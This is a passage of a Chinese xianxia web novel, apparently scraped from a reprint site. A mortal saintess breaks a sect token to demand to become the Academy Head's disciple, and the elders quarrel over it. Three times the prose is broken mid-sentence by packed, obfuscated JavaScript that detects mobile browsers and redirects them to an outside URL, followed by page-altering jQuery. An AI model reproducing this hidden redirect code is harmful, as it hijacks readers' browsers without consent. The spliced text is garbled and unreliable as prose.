;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579206|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慌不忙地一笑,他朝楚慈玉轻抬下巴,又委婉地对即墨鹤开口:“阁主,她尚未入道修行,用传送阵恐怕不妥。”
凡人之躯限制颇多,并不是所有凡人都能适应传送阵,轻则晕阵,重则上吐下泻。
即墨鹤若有所思,看了眼楚慈玉,随即温温一笑,“是我疏忽了。”
他含笑对燕折青道:“你很细致。”
燕折青感受到他不算和善的眼神,心说如果不想夸可以不必强夸。
即墨鹤召来几只松鹤,松鹤乖乖压低身子,屈下颈项,让楚慈玉乘上去。然后,他又对燕折青开口:“你也跟上。”
“尊者四方堂议事,仙院内阁子弟必须到场。你的弟子玉牌应该已经收到召集令了。”
仙院内阁弟子,是在天阶弟子基础上再拔尖择优组成的有资格参与三洲政事的弟子,是未来仙院掌事掌教,长老甚至尊者的预备人选。
燕折青摸出弟子玉牌,果然有看见召集令。
几只松鹤扇动翅膀,载着即墨遥和楚慈玉远去。掀起的风尘里,燕折青听到一声笑,“你自己御风跟来,松鹤不搭你。”
燕折青耸耸肩。
看来阁主今日心情真的很不好,连搭他一程都不愿意了。
*
三洲仙院抱山揽海,横跨两片连海大陆。
而四方堂一名,取自南北东西天地四方,也恰好坐落于三洲仙院正中的海岛上,是三洲仙院常用的政事堂之一。
此刻得令前往四方堂的人不少,三洲仙院的尊者,长老,还有内阁弟子,拥拥挤挤,人头泱泱。
四方堂就一个大门,众人不愿意难看地一窝蜂挤进去。剑家的御剑从窗里飞进去,阵家的谈笑着在墙面布阵,机关家的走暗门,众人各展身手,热闹得很。
楚慈玉没有这些五花八门的把式,只能老老实实地从大门进去,还不得不委屈即墨遥跟着她挤。
耳畔,聊闲声阵阵。
“我在膳堂喝羊肉汤呢,刚喝一口就急吼吼赶过来了,现在肚子瘪得要命。”
“还好我吃得快,嘿嘿。”
“别提了,你至少还喝了一口汤。我带人在藏经阁蹲燕折青,半天没蹲到不说,还得马不停蹄地赶来四方堂,现在是又累又饿,我真不想活了。”
“燕折青又横扫青天猎了啊,下回能不能把他禁猎啊!”
“谁看到燕折青了吗?他也得来四方堂吧,我们要不要在门口堵他,不揍他一顿我心火难消。”
“你们这帮人能不能关心一下正事,我们是来四方堂议事的,不是来过家家的。哦,对了,燕折青在哪,揍他的时候记得带我一个。”
听到燕折青的名字,楚慈玉回头,想看看那些先前蹲守在藏经阁准备群殴他的人长什么样子。
但进四方堂的人太多,旁经的人无意撞了一下楚慈玉的肩,她一踉跄,险些没站稳。
有人扶住她的腰,帮她稳住身形。这人脸生得很,有副平平无奇的五官,声音却好听又熟悉。
“小心点,认真看路,别东张西望。”
贴了易容符的燕折青低声道。
为了不被那帮肝火正旺的小子堵在四方堂前耽误正事,燕折青委曲求全,画了张易容符掩盖了自己的英俊脸庞。但只要进了四方堂就没事了,堂内禁止弟子斗殴。
从落地海岛,他就一直静静跟在楚慈玉他们身后,途中还被即墨鹤似笑非笑地瞧了一眼。
“知道了。”
楚慈玉颔首答应,她想了想,觉得要揍燕折青的人应该很多,纵然有心看估计也看不过来,于是果断放弃。
燕折青收回扶在她腰身的手,指腹顿时一空,但却似有异样触感残存。
他不自在地搓了搓指尖。
7. 她要做亲传弟子
四方堂富丽堂皇,宽阔,高似塔,内部布局如凡间厅堂,两侧设檀木桌椅,但往上能看到五层长廊环绕,廊间列座如云。
堂内比大门宽阔空荡许多,长老和弟子都各有自己的位子,大部分在长廊上,众人有序赶赴入座,井井有条。
楚慈玉被即墨鹤带到四方堂中央,他长身玉立,轻声道一句人带来了,声微,却能传遍四方堂,一时间,许多目光纷纷落过来。
“既然人带来了,你就先入座吧。”
有道威严女声从高座上传来,楚慈玉循声看向前方,不期然对上一双严厉的眼睛。眼睛主人生得英气,浓眉龙眼,宝相庄严,严厉并不针对她一人。
楚慈玉当即便认出对方是谁。
黎姿,当今的三洲仙院院长。
她修剑家,在三洲尊者中排行第三,乃仙者境强者。但除开这些众所周知的事,楚慈玉还知晓一点对方与鲸洲的恩怨。
即墨鹤微笑,从善如流地坐到了黎姿左手旁。楚慈玉眸光一转瞧见了燕折青,他就站在某位尊者身后,易容符已摘掉,坦荡露出那张俊朗出尘的脸庞,眼眸雪亮晃着笑意,而师平秋就在他身旁。
高层长廊里有弟子正怒视两人,嘴里念念有词,看起来骂得挺脏。
燕折青寻到她的目光,无声说了句话。
他冲她扬眉,问,你捏碎仙洲令想做什么,给我讲讲呗。
楚慈玉微微笑,无声回复——
就不告诉你。
有资格进四方堂的内阁弟子不多,他们的位子主要分布在长廊上,往往只有尊者的亲传弟子才有资格享受固守大堂的殊荣。但塞翁失马焉知非福,至少长廊上的弟子能有个蒲草垫坐,而大堂上的就只能直僵僵站着。
四方堂依旧在源源不断地进人,但黎姿已经没有耐心等待,她沉声,“清堂。”
有机关家弟子出列,侍弄堂内机巧。
霎那间,四方堂内所有人的玉牌都划过一缕微光。机关家弟子随即报数道:“堂内尊者四十二人,长老与内阁弟子过半数。”
显而易见,最重要的是尊者是否到齐,长老和内阁弟子主要起到一个旁听的作用。如今尚有部分尊者在外云游,三洲境内尊者约摸五十余位,现在也算到得差不多了。
黎姿继续下令,“一刻钟后,闭堂。”
机关家弟子应是。
她向所有未到岛的尊者,长老,以及内阁弟子发出最后一道召集令。
堂内渐渐安静下来,谈话声如潮退,缓缓消失。长廊上的弟子静心敛气,连公输尺都不敢偷偷玩。
四方堂外,符千城将栾延月送到门前后就停了步,他在年初的内阁弟子选拔中险败,没有资格入内参议,至今仍是平平无奇的天阶弟子。
栾延月朝他笑笑,“回剑府等我吧。”
望着她清丽的背影,符千城心底不禁涌起失落,他忍不住出声:“下次选拔,我一定会进入内阁的。”
他所求不过永远与她并肩永远相伴,在鲸洲是,在三洲亦如此。
栾延月嗯声颔首,秋水眸盛着柔情。
她走进了四方堂。
随着沙漏里最后一颗沙砾落下,一刻钟尽,四方堂前冲出股强大气流,将所有试图靠近的人掀得后退,两扇门在机括牵引下缓缓合拢。
光亮被彻底截断的最后一瞬,两只黑白影顺着大门罅隙蹿了进来,带来响亮的一声骂,在安静的四方堂里显得很清楚。
“日哦,差点夹到老子。”
堂内有人憋不住笑,这笑声把机关家弟子臊得满面通红,好巧不巧,来的正是机关家尊者,她的师尊。
一黑一白落地,化作两位鹤发童颜的仙君,上来就对着楚慈玉好奇打量,连珠似地发问。
“这就是楚襟的笨蛋女儿?”
“长得真像。”
“你母亲是谁?”
“快说说呀。”
“小闷葫芦。”
“真不好玩。”
黎姿睨他们一眼,冷冷道:“入座。”
两人耸耸肩,听话地走了。
楚慈玉面色淡淡,从神情里看不出喜怒,但她已经开始对站在这大堂中央受众人打量感到厌倦。她厌烦众生的目光,这些各种含义的纷纷扬扬的目光,从鲸洲到三洲,从她出生至今,从来不曾止息。
倦怠与不耐积累着涌到心尖时,楚慈玉抬眸,直视高座上的黎姿,问:“院长,可以开始了么?”
她似是等得久了,忍不住催人。
无惧无畏,一派天真。
黎姿眉头微蹙,“可以。”
她沉声道:“今日你捏碎仙洲令,有何事相求?”
黎姿一句话间,拿着仙洲令提要求一事就被换了个说法,变成了对仙院有事相求,两方之势登时异也。毕竟是院长,交涉时不会让仙院落下风。
楚慈玉神色不变。
她肃然清了清嗓。
咳嗽声在寂静的四方堂里很清楚,众人的注意力汇到她身上,不自觉提起了心,就连尊者也好奇她想做什么。
仙院坐守蜀燕瀛三洲,以和为贵,极少参与其余几洲的纷争,而当今鲸洲青帝素以好战为名,特别是这十几年来,鲸洲在她执掌下与周边的白玉京、浩然道盟摩擦颇多,故而鲸洲圣女携仙洲令来到仙院很难不令人遐思。
今日之事往大了说甚至关乎两洲邦交。
不过仙洲令虽重要,却也无法彻底桎梏仙院,黎姿完全可以不答应楚慈玉提出来的要求。
仙洲令之所以能够束缚仙院,是因为其镌有天地灵誓,仙院可以选择承受违誓的反噬从而拒绝要求。只是话说回来,要是能妥善解决,肯定没人愿意被天地灵誓收拾。
满堂慎重里,唯燕折青神色最淡定。其实吧,他觉得楚慈玉是故意咳那一下的,说不好原因,就是直觉如此。
而楚慈玉终于开了口。
“我想拜入院长门下,做亲传弟子。”
她清脆平静的声音传遍了四方堂。
众尊者均诧异,而黎姿瞳孔一缩!怒从心起!
什么?拜入她门下做亲传弟子?
好啊,居然不是冲仙院而是冲她来的,十四洲谁不知道她和楚襟有仇,故意的吧!
眼前此女多半是楚襟派来的,虽然不知道这对父女要耍什么花招,不过也无所谓——
“不可。”
黎姿冷笑,当场沉声回绝!
这几乎算痛拒了,燕折青下意识去寻楚慈玉的神情,见她毫无伤心之色,暗暗舒一口气。
四方堂里的人或多或少都觉得惊讶,长廊上的内阁弟子感叹原来亲传弟子有捷径可走,好令人羡慕,大堂里的尊者却不禁微笑。
十余年前他们就对楚襟无端多了个女儿有所耳闻,最初只以为是谬谈。但后来再听说她的消息时,鲸洲已经多出一个年幼的圣女了,错愕之余,他们方知此事不假。
楚襟对其女宠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579207|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爱非常,即使她一丁点修道天赋都没有,他依旧不顾众人反对,强行将她捧成了鲸洲圣女。
圣女位子何其重要!
如今的十四洲仅有两颗若木神树,一颗生于三洲,一颗存于鲸洲。鲸洲若木庇佑圣女圣子,对其修行与气运大有裨益。鲸洲圣职世代仅传一人,要让楚慈玉成为圣女,楚襟首先要放弃自己的圣子身份,这代价不可谓不高昂,但他却义无反顾,其拳拳爱女之心天地可鉴,十四洲人无不感叹。
或许也是因为背后有着厚重的父爱,楚慈玉才会在捏碎仙洲令后竟然只提出了拜入黎姿门下的要求吧,她看起来完全不知道此令的可贵。
面对黎姿的拒绝,楚慈玉没有问为什么,只是不慌不乱地看着她,游刃有余。
比她先出声反对的是其他尊者,楚慈玉提的要求很如他们的意,做个亲传弟子罢了,威胁不了仙院,他们更不愿意她换成其他要求。
“黎院不必拒绝得这么果断,这孩子捏碎仙洲令只为拜你为师,真情可贵,你大可再考虑考虑。”
“还请黎院三思,小友的要求不算过分,较之违誓,私以为还是多个亲传弟子好些。”
一黑一白劝得尤为热情。
“用掉仙洲令只为拜师,多有脸面。”
“多个徒弟而已。”
“反正收的是楚慈玉又不是她爹。”
“…………”
尊者们的建议中肯,但又不乏死道友不死贫道的豁然。黎姿牙磨得咯咯响,一股无名火蹿上心头。
别以为她看不出来这帮老东西揣的都是什么心思,不就是因为火没烧到他们身上所以云淡风轻吗?
况且她的亲传弟子哪有那么好当!
黎姿想抽他们。
在她发作之前,即墨鹤淡笑,眼疾手快地为长廊套上隔音隔画双阵,给整个大堂施护阵,甚至还不忘单独给楚慈玉套上一个最厚的。
下一刻,黎姿本命剑出鞘,一股强劲的剑势席卷过四方堂,直逼尊者而去!
尊者们摇头叹气,纷纷出手阻挡,一时间,四方堂内术法腾飞,剑势凌厉,符箓纷纷扬扬,身处大堂的内阁弟子们被狂风刮得东倒西歪,甚至不得不抱在一团稳住身形。
而长廊上则一片岁月静好。
有人伸长了脖子想要看热闹,奈何音画皆被隔断,眼前什么也没有。
燕折青在席卷整个四方堂的狂风里气定神闲地重新扎他那微微松开的高马尾,他手拢着墨发,两指间夹着发带一角,朱红色发带随风飘扬,又慢慢被绕回墨发间。
尊者打架的场面他习以为常,毕竟嘛,四方堂虽然禁止弟子斗殴,但又没说禁止尊者斗殴。
别看眼下似乎打得凌乱不堪,但尊者们也就随便闹闹,发发脾气罢了,要是他们真动起手来,四方堂顷刻间就会化作齑粉。
发带不如发冠好用,燕折青在心里嘀咕一句,无意间抬起眸,正正看到护阵里的楚慈玉一眨不眨地盯着他,似乎将他刚才的举止尽收眼底了。
厚实的半圆护阵发出莹莹的柔和光晕,她就站在那里面好奇地看他扎马尾。
燕折青的脸颊不自觉泛起些许热气。
他想问她看什么,又想说很好看吗,最后恼羞成怒地侧脸不看她。但视线里没了楚慈玉后,燕折青才终于发现自己的不对劲,他明明只是扎了个头发,她也只是看了看,他何必反应这么大。
但等他想明白的时候,楚慈玉已经移开眼了。
8. 纠缠
四方堂的狂风渐渐平息。
削过不做人的同僚后黎姿怒气散了许多,对尊者们先前的荐言也思量了一二,能够做到心平气和地跟楚慈玉说话。
她依旧没有改变自己的打算。
“我不会收你做亲传弟子,你最好换个要求。我不知道你命星几何,但看你命府孱弱无有炁聚,连最基本的引星入体都做不到,分明无法修行。仙凡有别,天道如此,即使你拜我为师,我也无计可施,对你提供不了半点助益。”
她眼神点了点旁边的尊者。
“若我是你,我不会强求剑家,无论是术数家的风水八卦,或是机关家的机巧铸造,都有凡人可学可用之处。”
黎姿冷笑,其他人不是觉得没什么大不了吗,等祸水东引过来就知道身上疼不疼了。
但楚慈玉只垂眸顿了片刻,就摇了头。
“身不由己,但心向往。”
她声音缓慢但坚定。
“凡躯难证大道,晚辈自知与剑家隔着天堑,也不想为难尊者,但无奈某自小独爱剑家,意坚若磐石,难以转移。”
“若能拜入黎尊者门下,平日只要能观摩剑术晚辈便心满意足,至于修行之事,命数如此,尊者无需在意。”
这话很诚恳,也很周全,为黎姿排除了万难。
满堂修士都看着她一个小小凡人。
黎姿容色微变,有些动容,但抗拒之意更浓烈,两者相较,叫她的眼眸少见地流露出犹豫。
但此刻,有人不慌不忙地展露一抹笑,神情和煦似三月春。即墨鹤淡着眸色,弯唇,轻飘飘地抛下一句:“慈玉小友,在青天猎最后半个时辰,我仙院弟子燕折青是在阵家学堂里捉到你的。”
他恰到好处地掐断了后言,饮了口茶,神色玩味。
燕折青捂住了脸,心说您好好说话别带我行不行啊,而大堂里的其他人都在心底欸了一声。
什么,阵家学堂?
不是说自小独爱剑家心生向往吗,怎么向往到阵家学堂去了!这孩子嘴里有句实话吗!
黎姿气不打一处来。
“你都去听阵家的课了,还说什么向往剑家,你耍我呢?剑家也不止我一位尊者,你非逮着我拜师是什么意思呢?”
“你实话告诉我,你是不是楚襟派来耍我的?多年不见楚襟这狗东西,他倒是花招越来越多了有本事滚来三洲堂堂正正与我一战!”
楚慈玉遗憾地抿了抿嘴。
旁人都以为她要生气了,毕竟黎姿劈头盖脸骂了她亲爹,想想确实有失风度,不过黎姿性格向来如此,雷厉风行,爱恨分明,一点也不藏着掖着。
然而楚慈玉只是缓慢眨眨眼,流露出些惊讶,问:“黎尊者与家父曾积怨?”
黎姿无语得想问她是不是缺心眼!
十四洲谁不知道她跟楚襟有仇?她就差把讨厌楚襟刻脑门上。
楚慈玉低头,似是略微不解,“鲸洲礼官说家父修慈悲道,善名远扬,从不与人结怨。”
听了这话,慢悠悠喝茶的即墨鹤笑出了声,对上楚慈玉的目光时,他慢条斯理地用茶盖拂去茶沫,没什么歉意地致歉,音色如古琴。
“如此说来,其实,你父亲与我也稍微有过那么一点嫌隙。”
有些尊者在心里感叹,楚襟怎么有这么一个天真无邪的笨蛋女儿啊!果然是娇宠出来的孩子,换个人来,早被黎姿打出四方堂了!
但不管他们怎么想,楚慈玉只觉得——
好爽。
好痛快。
她恨了那人许多年,终于找到了与她同仇敌忾的盟友,心里说不出地舒坦。
她拜定黎姿了。
捏碎仙洲令是为了留在三洲仙院,要当亲传弟子也不过是图此身份能够便利往后行事,选择黎姿是要给楚襟添堵,但现在她想,她真的很喜欢黎姿,真心打算做对方的弟子。
楚慈玉弯弯唇,打算再说点什么消减黎姿的不高兴,却突然感觉到自己的肩被人拍了拍。
她回过头,看见身侧站着一个慈眉善目,神情温和的尊者。
郁晚蔓。
术数家修士,三洲尊者中排行三十四。楚慈玉对她有特别的印象,她记得这位郁尊者与自己父亲都修的是慈悲道。
此刻,郁晚蔓温和地朝她笑笑。
“别将他们的话放在心上,长辈间的恩怨复杂,与你无关。”
郁晚蔓将楚慈玉护在身后,对着黎姿微微蹙眉,道:“好了,别老在孩子面前说这些,她哪知道你们的旧事。”
黎姿轻呵,没再开口。
郁晚蔓又看向楚慈玉的眼眸,说话时又轻又缓,温温柔柔的。
“黎院性情耿介,刀子嘴豆腐心,实则是个极好的人,望你不要对她生出介怀。”
“但师徒讲究一个缘字,黎院与你父水火不容,隔阂难消,就算你真当了她的徒弟也当不开心的,不如还是换个师父罢。你合我眼缘,可愿入我门下?”
一位在三洲仙院所有尊者中排行不低的尊者主动向楚慈玉发出邀请,既给了她台阶,也给了院长台阶,黎姿觉得非常不错。
而楚慈玉沉默着,没说好也没说不好。
弟子堆里的燕折青遥遥看着她,薄唇不自觉抿起,他身旁的师平秋很忙,指尖搭在公输尺上就没放下来过。
师平秋的公输尺里全是各种传文,大多是长廊上弟子发过来的。
甲:「管管阵法,救救我们!阁主忘了撤掉隔音隔画阵,我什么也看不到,憋死我了!」
乙:「求下面发生了什么,有偿。」
丙:「好无聊,提供陪聊么?」
丁:「师平秋你这个王八蛋,你就这样袒护燕折青,害我在藏经阁蹲他根本蹲不到,你们哥俩继续好吧,我一点都不辛苦一点都不累!」
戊:「……」
师平秋很有道德地对大堂里的一切事宜闭口不言,并且不接陪聊,但表明可以帮忙问问阁主是否能撤掉阵法。
他将公输尺上的各种传文滑到底,肩撞了撞燕折青,低声道:“折青,发传文问问阁主能不能撤掉隔画阵吧,长廊那群人一直在发牢骚。”
依师平秋看,隔音阵可以继续保留。
燕折青无奈摇摇头,拎了拎手中公输尺,直接拿给他看,“喏。”
传文界面是灰的,他被阁主给屏蔽了。
“就因为问了一嘴楚襟跟他有什么恩怨。”
别看即墨鹤平时温文尔雅的,很少发火,其实他心肠挺黑的,爱生闷气,不高兴时除了黎尊者谁的话也不听。反倒是黎尊者看起来脾气火辣,其实粗中有细,明事理会顾全大局。
“阁主应该最多半盏茶后就会把我放出来,但阵法的事我不想问,就算了吧。”
师平秋若有所思地点头。
而燕折青抬眸,再次看向堂中的楚慈玉,她是高挑的,但肩背单薄,似兰若竹,光是站在那里就有种说不出的味道。
“郁尊者美意,晚辈不胜感激。”
楚慈玉思忖后婉拒了郁晚蔓,她看向高座上的黎姿,一字一顿。
“但晚辈认定黎院了。”
她眉眼不见沮丧,说话时温声细语,带着异样的坚定,“黎院就收下我吧,我和我爹不一样,我不会给你添乱的。”
黎姿顿时起了鸡皮疙瘩。
楚慈玉温温笑着继续开口:“我保证我绝对会好好做您的弟子的。”
黎姿被她黏得气笑了,甚至没力气发火了。高座之上,她撑着下颌,神色冷淡,语气严肃,“我已有亲传弟子,真心不愿意收你。你确定不换个要求?”
“不换。”
“好,你不换,我也不肯换。”
她神色冷淡,“既然如此,违誓反噬我一人受了便是。”
出乎意料地,黎姿坚决无比,楚慈玉与她对视,微怔,缓慢地眨眼。
黎姿太坚决了,坚决到楚慈玉意识到自己判断错了形势,她好像太过分了,尊者似乎真的很不喜欢她。
忽然间,楚慈玉很想寻个人问问。这些事她总是不明白的,她生于鲸洲,小小年纪就做了圣女,在鲸洲王宫里是被忌惮的存在,十余年来独来独往,深交的正常人几近于无,一直很难掌控行为处事的分寸。
她侧头看了一眼燕折青。
而很巧的是,他的目光一直在她身上,她一回头就能看得很清楚。两人目光交错间,她垂了睫,他眼神微动,却都没有话说。
楚慈玉想,拜师的事还是算了吧,她再坚持下去,要是被赶出仙院就不好了。
她又收走了目光。
而燕折青身前坐着的静脉尊者若有所察,好笑地瞧了两人一眼。
四方堂里很安静,众人不知所措,即墨鹤捏紧了茶杯,冷冷注视着楚慈玉,其余尊者也有些困惑与头疼。
此时,一直沉默的静脉尊者说话了。
“小黎,仙洲令上的天地誓言借若木之力而定,与仙院名册里所载的所有尊者相连,若违誓,所有尊者都得承担反噬。”
作为仙院里资历最老的尊者,她其实比其他人都更了解仙洲令的事,只不过从前没人问,她也就没说过。
今天黎姿意外地铁了心要违抗灵誓,静脉尊者就不能再端坐高台了。
她颇为委婉,“我年纪大了,身子骨不太硬朗……但如果你实在不愿意收弟子,我就舍命陪君子吧。”
黎姿拧眉,觉得头疼。
天地誓言与所有尊者相连这事,说来有好有坏,反噬若能摊到每个人身上,那威力就小很多了,只不过,为她一人叫所有尊者受罚,这不合黎姿的行事风格,其余尊者想必也不太情愿。
先前险些迟到的一黑一白又跑出来搅浑水。
“你就收了她吧,省事。”
“小孩嘛,喜欢亲传弟子的名头,给了就给了。”
“平日里你肚量也不小啊。”
“你不至于吧。”
黎姿额角微跳,“你们俩脑子被驴踢了?再瞎嚷嚷就给我滚出去。”
“你们机关家的懂什么,没看见剑家尊者没一个出来说话的?仙院早有仙家敕令,剑家尊者的亲传弟子必须过黄金台。”
她一指楚慈玉,怒气冲冲。
“你们两个是觉得她走得过黄金台?黄金台是三洲最大的器冢,剑气横行,灵器数以亿计,性情凶悍的不知有多少,她一介凡人进去就会被掀翻,就算不死也得丢半条命。”
“倘若圣女在仙院出了事,三洲要如何向鲸洲交代?不收她是为她好,跟你们说不通,简直是狗咬吕洞宾,不识好人心!”
一黑一白嘿嘿笑,不再说话了。楚慈玉摸了摸鼻子,感觉自己也有被骂到,不过感觉并不赖。
但这样一来,局面似乎又凝滞了。
“其实也不是没有折中的法子。”
静脉尊者微微笑,忽然的出声吸引了所有人的注意。
“慈玉小友,你既然一心拜入黎姿门下,那么我想做徒弟可以,做徒孙也可以。”
“我仙院院长门下如今有一位亲传弟子姬妙音,你可愿做她的徒弟?拜姬妙音为师,既不用走黄金台,也可以做亲传弟子。”
众人哗然。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579208|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>黎姿自己也没想到居然还能这样做,一时语塞,果然,还是这些老家伙手段高,最能钻空子,把规则把玩于股掌之间。
狡猾,实在是太狡猾了。
可楚慈玉会答应吗?
郁晚蔓有些犹豫,“这恐怕太为难人了。”
黎姿也没把握楚慈玉会答应,只揉了揉额角,阖着眼暂且养一养神。
楚慈玉却温温和和地开了口。
“愿意。”
竟然愿意!
黎姿凤眸圆睁,不可思议地看着她,呵呵,她以前从来没觉得自己的魅力高到这地步,还能引得楚襟女儿苦苦追随,真是石头开花难得一见。
静脉尊者含笑,朝自己身后的内阁弟子们扬了扬手,燕折青和师平秋等人随即识趣让开。
众人散去后露出某个抱臂侧身倚柱,头埋得很低以至于看不清其神情的剑修青年。
即使成了满堂瞩目的焦点,姬妙音也依旧冷然垂头漠视众人,很是倨傲。她额边一缕发垂下,掩住面容,只有挺翘的鼻梁露出。
“那就是姬妙音,去行拜师礼吧。”
静脉尊者温和地朝楚慈玉点点头。
此刻,为了姬妙音留出一片清净天地,她身旁的弟子们几乎走光了,但仍有一位持剑女修站着。
栾延月一眨也不眨地看着走过来的楚慈玉。
她离开鲸洲十余年了,走的那年楚慈玉五岁,是个粉雕玉琢的小女郎,与现在有些不同。那时她脸颊带着肉,圆鼓鼓的很可爱但没人敢亲近,她们在鲸洲王宫所见的最后一面至今让栾延月记忆犹新。
如果当年楚慈玉没有赶她出鲸洲,照鲸洲律法,栾延月现在应该寸步不离地跟在对方身边,做圣女身旁忠心耿耿的家臣。
但如今的栾延月脱去了鲸洲户籍,来到了三洲仙院,从最底层的黄阶弟子做起,一步步走到天阶,成为内阁弟子,最后站在四方堂里,看着楚慈玉要拜她的同窗为师。
栾延月手指控制不住地微微发颤,秋水眸专注,看楚慈玉凝白的玉面,看她浓长的鸦睫,桃粉的薄唇。她与楚慈玉的目光接触一瞬,对方神色淡淡,平静得似乎根本没认出她。
当然,已经过去很久了,她或许早就被忘了。
栾延月呼吸微窒。
而楚慈玉只是走到了姬妙音身前。
黎姿的亲传弟子道行颇深,心态极其稳定,直到这地步都摆着架子不正眼看她,阖着眸不动如山,很是冷漠。
“请师尊受弟子一拜。”
楚慈玉不在意闭门羹,垂目,俯身便要拜。
众弟子屏息。
而燕折青服气地摇了摇头,手中公输尺一飞,精准击中姬妙音的膝盖。
直到这一刻,进了四方堂就找角落躲在众弟子身后安详入睡,就连狂风都没刮醒的姬妙音,终于在膝盖的剧痛中茫然地醒来。
她还不清醒,美目半睁,眼前朦朦胧胧的,四方堂的灯光自四面八方落过来,有点刺眼。站在她身前的弟子跑光了,周遭比起先前睡着时明亮了不少。
姬妙音只觉得,好困惑,好无辜,好懵。
四方堂到底发生什么了?
她只是迷茫地看见自己面前有个淡紫衣袍翩翩,玉面玲珑的小女郎正俯身朝她跪拜。
经常当混子的人都知道,当你游神归来不知道周围发生了什么时切忌慌张,你最需要做的就是冷静地若无其事地照着身旁人的一举一动行事。
姬妙音于此道经验老道,她反应总是很快,每每惊醒总能自然无比地跟着众人行动,装作自己根本没睡着过,叫人逮不到把柄。
故而此刻,姬妙音当然也照着惯例做出了反应。
什么仪式,还要跪拜,尊者们又在搞什么莫名其妙的东西,她心头嘀咕着,腿比脑子动得还快,果断跟着屈膝往下坠。
但跪到一半时,她又敏锐地觉得这场面实在不对劲。
在搞什么!为何要跪!
绝对不对劲!
姬妙音终于清醒了几分,她眼眸微眯,右手扶上剑鞘,心念一动!电光石火间,莲华剑的剑鞘如迅雷般飞出,轻抵在楚慈玉膝盖上,硬生生将她跪下的动作掰正。
楚慈玉不明所以地站好,眼睁睁看着姬妙音直僵僵跪下,膝盖磕在四方堂冰冷无尘的地面。
她骨头硬,磕下去时弄出扑通一声,在寂静的四方堂显得很清楚。
四下里,皆沉默。
静脉尊者脸上浮现了温和的微笑,燕折青没眼看,手一勾,悄无声息地召回了公输尺。
姬妙音生无可恋地盯着光滑可鉴人的地面,看着自己的倒影,幽幽道:“提醒人就一定得往别人膝盖上招呼吗?”
害她刚才想止住下跪的动作都没力气。
燕折青无奈,“我也不知道你一醒就直接往地上跪啊。”
“到底发生什么了?”
“问院长吧。”
姬妙音直挺挺地跪了片刻,自觉丢脸,耳根攀上一股热气。她长长舒出一口气,面色佯装淡然,左手在背后用力一撑,顺势盘腿坐下。
姬妙音扯扯唇角,拉长音调,“师尊——”
因着刚睡醒,声音还微哑。
“你又干嘛。”
音调不高不低的,但有淡淡的死感,再品品,多少含着怨气。
黎姿气不打一处来!
她气冲冲地下了高座,冲到姬妙音身前把人从地上像拎癞皮狗一样拎起来,抬脚就要踹。
“睡睡睡,一天到晚就知道睡!”
还怪上她了!
把她的脸都丢光了!
9. 黄金台
黎姿抓着姬妙音的衣襟狠狠晃,恨不得将她脑子里进的水晃出来,看不出半点师徒间的和睦。
姬妙音衣襟被揪着,头后仰着,像块抹布一样被随意甩动,百忙之中探到楚慈玉的目光,还不忘轻抬下颌,松弛地飞了个我没事的眼神给她。
楚慈玉:……
其实也没有很关心。
大堂里的尊者和内阁弟子们倒全都习惯了,姬妙音常年随地大小睡,有时他们进四方堂时都得看看脚下有没有躺着不明生物,谁也不知道姬妙音会不会随便睡地上。
没人看见的地方,燕折青偷摸溜达到楚慈玉身后,踌躇着想跟她搭话,有人却猛然跳过来用力揽住他脖子。
原方野咧着嘴,用气声跟他说话,“欸我就该和你一起站静脉尊者身后的,错过这么好的观景点真是太可惜了!”
“姬妙音逗死我了,她那一跪叫大伙儿都看愣了,尊者在场又不敢笑得很放肆,只能硬憋着。”
燕折青笑着回应两句,然后伸手就要去拍楚慈玉的肩膀。手还没碰到她的肩,楚慈玉却动了。
她朝前走了一步,对着正在那对不分场合打闹的师徒开了口。
“黄金台。”
楚慈玉眸色坚定,瞳若黑玉,掷地有声。
“我想试试黄金台,如果我走不过去,我就拜姬妙音为师。”
师徒不约而同地愣住了。
黎姿拧眉,上下打量她一眼,不明白楚慈玉怎么改了主意,而姬妙音依旧游离在事态外,闻言微微困惑,“拜我为师?”
她指指自己,难以置信地询问:“是我没睡醒还是你没睡醒?为什么要拜我——”
哐当!
黎姿忍无可忍,重重锤在自己徒弟脑袋上,铁拳砸下,姬妙音顿时老实地安静下来。
“先前我说的很清楚了,上了黄金台你生死难料,”黎姿收回手,淡声道,“鲸洲圣女若有闪失,仙院承担不起。”
“我签生死誓,后果由我一人承担。”
“年轻气盛。”
“我能为我的选择负责。”
“你清楚后果如何么?”
“我清楚我想求的东西。”
“我知道,如今的十四洲多的是鲸洲圣女德不配位,平庸无能的流言,也知道尊者对我心存疑虑。”
